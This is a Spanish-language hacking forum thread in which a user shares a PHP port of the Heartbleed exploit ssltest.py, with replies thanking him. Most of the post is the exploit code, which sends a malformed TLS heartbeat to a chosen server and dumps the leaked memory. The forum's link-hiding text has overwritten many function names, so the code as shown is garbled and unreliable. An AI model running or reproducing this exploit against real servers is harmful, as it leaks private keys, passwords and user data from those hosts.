comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Explotar Heartbleed con PHP

  • 6 Respuestas
  • 5139 Vistas

0 Usuarios y 2 Visitantes están viendo este tema.

Desconectado Zerquix18

  • *
  • Underc0der
  • Mensajes: 1
  • Actividad:
    0%
  • Reputación 0
  • hola
    • Ver Perfil
  • Skype: zerquix18
« en: Noviembre 16, 2014, 06:19:43 pm »

Hey, soy nuevo acá y me gustaría mostrarles algo que hice unos meses atrás con la vulnerabilidad de Heartbleed, traduciendo el exploit de Heartbleed (ssltest.py) de Python a PHP  ;D

Código: PHP
  1. <?php
  2. /**
  3. * Heartbleed POC
  4. *
  5. * @author Zerquix18
  6. *
  7. * @link http://github.com/zerquix18/heartbleed
  8. *
  9. * NOTE: This is the translation of ssltest.py from python to PHP
  10. * Don't be evil...
  11. **/
  12. echo "--------PHP Heartbleed POC ---------------\n\n";
  13. You are not allowed to view links. Register or Login();
  14. if( 1 == $argc )
  15. You are not allowed to view links. Register or Login("Usage: \"php ssltest.php url.com 443\"\n");
  16. You are not allowed to view links. Register or Login($argv);
  17. $data = You are not allowed to view links. Register or Login(
  18. $argv[0],
  19. You are not allowed to view links. Register or Login(1, $argv) && You are not allowed to view links. Register or Login($argv[1]) ? $argv[1] : 443
  20. );
  21. if( false == ($s = You are not allowed to view links. Register or Login(AF_INET, SOCK_STREAM, SOL_TCP) ) )
  22. You are not allowed to view links. Register or Login("Unable to create socket!");
  23. function h2bin( $x ) {
  24. $x = You are not allowed to view links. Register or Login( You are not allowed to view links. Register or Login(" ", "\n"), "", $x);
  25. return hex2bin($x);
  26. }
  27. $hello = h2bin("16 03 02 00 dc 01 00 00 d8 03 02 53
  28. 43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
  29. bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
  30. 00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
  31. 00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
  32. c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
  33. c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
  34. c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
  35. c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
  36. 00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
  37. 03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
  38. 00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
  39. 00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
  40. 00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
  41. 00 0f 00 01 01");
  42. $hb = h2bin("18 03 02 00 03
  43. 01 40 00");
  44. /**
  45. *
  46. * Thanks: http://stackoverflow.com/a/4225813/1932946
  47. **/
  48. function hexdump($data) {
  49. static $width = 16;
  50. static $pad = '.';
  51. static $from = '';
  52. static $to = '';
  53. if ($from==='')
  54. {
  55. for ($i=0; $i<=0xFF; $i++)
  56. {
  57. $from .= You are not allowed to view links. Register or Login($i);
  58. $to .= ($i >= 0x20 && $i <= 0x7E) ? You are not allowed to view links. Register or Login($i) : $pad;
  59. }
  60. }
  61. $hex = You are not allowed to view links. Register or Login(You are not allowed to view links. Register or Login($data), $width*2);
  62. $chars = You are not allowed to view links. Register or Login(You are not allowed to view links. Register or Login($data, $from, $to), $width);
  63. $offset = 0;
  64. foreach ($hex as $i => $line) {
  65. echo You are not allowed to view links. Register or Login('%6X',$offset).' : '.You are not allowed to view links. Register or Login(' ', You are not allowed to view links. Register or Login($line,2)) . ' [' . $chars[$i] . "]\n";
  66. $offset += $width;
  67. }
  68. }
  69. function recvall($length, $timeout = 5) {
  70. global $s;
  71. $endtime = You are not allowed to view links. Register or Login() + $timeout;
  72. $rdata = "";
  73. $remain = $length;
  74. while($remain > 0) {
  75. $rtime = $endtime - $timeout;
  76. if( $rtime < 0 )
  77. return null;
  78. $e = NULL;
  79. $r = You are not allowed to view links. Register or Login($s);
  80. @You are not allowed to view links. Register or Login( $r, $w, $e, 5);
  81. if( You are not allowed to view links. Register or Login($s, $r) ) {
  82. $d = @You are not allowed to view links. Register or Login($s, $data, $remain, 0 );
  83. if( false == $data )
  84. return null;
  85. $rdata .= $data;
  86. $remain -= You are not allowed to view links. Register or Login($data);
  87. }
  88. }
  89. return $rdata;
  90. }
  91. function recvmsg() {
  92. global $s;
  93. $hdr = recvall(5);
  94. if( null === $hdr ):
  95. echo "Unexpected EOF receiving record header - server closed connection\n";
  96. return You are not allowed to view links. Register or Login(null, null, null);
  97. endif;
  98. You are not allowed to view links. Register or Login($typ, $ver, $ln) = You are not allowed to view links. Register or Login( You are not allowed to view links. Register or Login("Cn/n/nC", $hdr) );
  99. $pay = recvall($ln, 10);
  100. if( null === $pay ) {
  101. echo "Unexpected EOF receiving record payload - server closed connection\n";
  102. return You are not allowed to view links. Register or Login(null, null, null);
  103. }
  104. You are not allowed to view links. Register or Login(" ... received message: type = %d, ver = %04x, length = %d\n", $typ, $ver, You are not allowed to view links. Register or Login($pay) );
  105. return You are not allowed to view links. Register or Login($typ, $ver, $pay);
  106. }
  107. function hit_hb() {
  108. global $hb, $s;
  109. You are not allowed to view links. Register or Login($s, $hb, You are not allowed to view links. Register or Login($hb), 0);
  110. while( true ) {
  111. You are not allowed to view links. Register or Login($typ, $ver, $pay) = recvmsg();
  112. if( null === $typ )
  113. You are not allowed to view links. Register or Login('No heartbeat response received, server likely not vulnerable');
  114. if( 24 == $typ ){
  115. echo "Received heartbeat response:\n";
  116. hexdump($pay);
  117. if( You are not allowed to view links. Register or Login($pay) > 3 )
  118. echo 'WARNING: server returned more data than it should - server is vulnerable!';
  119. else
  120. echo 'Server processed malformed heartbeat, but did not return any extra data.';
  121. return true;
  122. }
  123. if( 21 == $typ ) {
  124. echo "Received alert:\n";
  125. hexdump($pay);
  126. echo 'Server returned error, likely not vulnerable';
  127. return false;
  128. }
  129. }
  130. }
  131. echo "Connecting to socket...\n";
  132. $s_ = You are not allowed to view links. Register or Login( $s, $data[0], (int) $data[1] );
  133. if( ! $s )
  134. You are not allowed to view links. Register or Login("Error [". You are not allowed to view links. Register or Login() . "]: " . You are not allowed to view links. Register or Login( You are not allowed to view links. Register or Login() ) . "\n" );
  135. echo "Sending client hello...\n";
  136. @You are not allowed to view links. Register or Login($s, $hello, You are not allowed to view links. Register or Login($hello), 0 );
  137. You are not allowed to view links. Register or Login();
  138. while( true ) {
  139. You are not allowed to view links. Register or Login($typ, $ver, $pay) = recvmsg();
  140. if( null == $typ )
  141. You are not allowed to view links. Register or Login("Server closed conection without sending hello!\n");
  142. if( 22 == $typ && You are not allowed to view links. Register or Login($pay[0]) == 0x0E )
  143. break;
  144. }
  145. echo "Sending heartbeat request...\n";
  146. You are not allowed to view links. Register or Login();
  147. @You are not allowed to view links. Register or Login($s, $hb, You are not allowed to view links. Register or Login($hb), 0);
  148. hit_hb();

Lo pueden ver acá: You are not allowed to view links. Register or Login

Si encuentran algún error, dejen una issue o si pueden repararlo envíen una pull request. :)!
« Última modificación: Noviembre 16, 2014, 06:35:19 pm por ANTRAX »

Desconectado Y3K

  • *
  • Underc0der
  • Mensajes: 173
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #1 en: Noviembre 16, 2014, 08:49:02 pm »
Anda, ésto sí está muy bueno. Revisaré el código para ver cómo trabaja.

Gracias por el aporte.

Conectado ANTRAX

  • *
  • Administrator
  • Mensajes: 5339
  • Actividad:
    18.33%
  • Reputación 30
  • ANTRAX
    • Ver Perfil
    • Underc0de
    • Email
  • Skype: underc0de.org
  • Twitter: @Underc0de
« Respuesta #2 en: Noviembre 16, 2014, 08:54:00 pm »
Excelente aporte Zerquix18!!


Desconectado Shell Shock

  • *
  • Underc0der
  • Mensajes: 10
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • Email
« Respuesta #3 en: Noviembre 17, 2014, 02:23:59 pm »
Anda mano aun no se mucho de python pero cuando leo o escucho Explotar Heartbleed me vuelve loco...jiji gracias por el aporte lo estare revisando..

Desconectado Y3K

  • *
  • Underc0der
  • Mensajes: 173
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #4 en: Noviembre 17, 2014, 03:45:59 pm »
You are not allowed to view links. Register or Login
Anda mano aun no se mucho de python pero cuando leo o escucho Explotar Heartbleed me vuelve loco...jiji gracias por el aporte lo estare revisando..
Hombre, pero si eso no es ni remotamente cercano a Python :/

Desconectado kid_goth

  • *
  • Underc0der
  • Mensajes: 201
  • Actividad:
    0%
  • Reputación 3
  • Tu conocimiento se limita cuando dices NO PUEDO...
    • Ver Perfil
    • DC Projects
    • Email
« Respuesta #5 en: Noviembre 24, 2014, 12:08:49 pm »
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
Anda mano aun no se mucho de python pero cuando leo o escucho Explotar Heartbleed me vuelve loco...jiji gracias por el aporte lo estare revisando..
Hombre, pero si eso no es ni remotamente cercano a Python :/

Al menos PERL se aceptaba xD :3 naaa a revisar también que da curiosidad el como trabaja
You are not allowed to view links. Register or Login

Acepta con humildad y aprecio que en la vida la muerte es inevitable y amarás ésta, adorando la muerte

Desconectado d4rks666

  • *
  • Underc0der
  • Mensajes: 3
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #6 en: Diciembre 12, 2014, 07:32:38 pm »
interesante. gracias por el aporte =D

 

¿Te gustó el post? COMPARTILO!



Routerpwn, un framework para explotar dispositivos embebidos desde tu celular

Iniciado por hkm

Respuestas: 2
Vistas: 1850
Último mensaje Agosto 01, 2011, 11:45:43 pm
por JaAViEr
Explotar LFI, Subir Shell Explotando /proc/self/environ y Backdoorizar

Iniciado por hdbreaker

Respuestas: 1
Vistas: 2244
Último mensaje Julio 17, 2012, 12:35:31 am
por hdbreaker
Cómo explotar vulnerabilidad de Windows 7 con Metasploit

Iniciado por Pekador

Respuestas: 2
Vistas: 4297
Último mensaje Abril 16, 2012, 04:35:47 pm
por SPELINAX
Explotar Shellshock en smtp QMAIL

Iniciado por hdbreaker

Respuestas: 9
Vistas: 5410
Último mensaje Octubre 02, 2014, 01:03:27 pm
por WhiZ
Metasploit [Explotar Vulnerailidad LNK]

Iniciado por Payasako

Respuestas: 0
Vistas: 1628
Último mensaje Febrero 17, 2015, 06:07:57 pm
por Payasako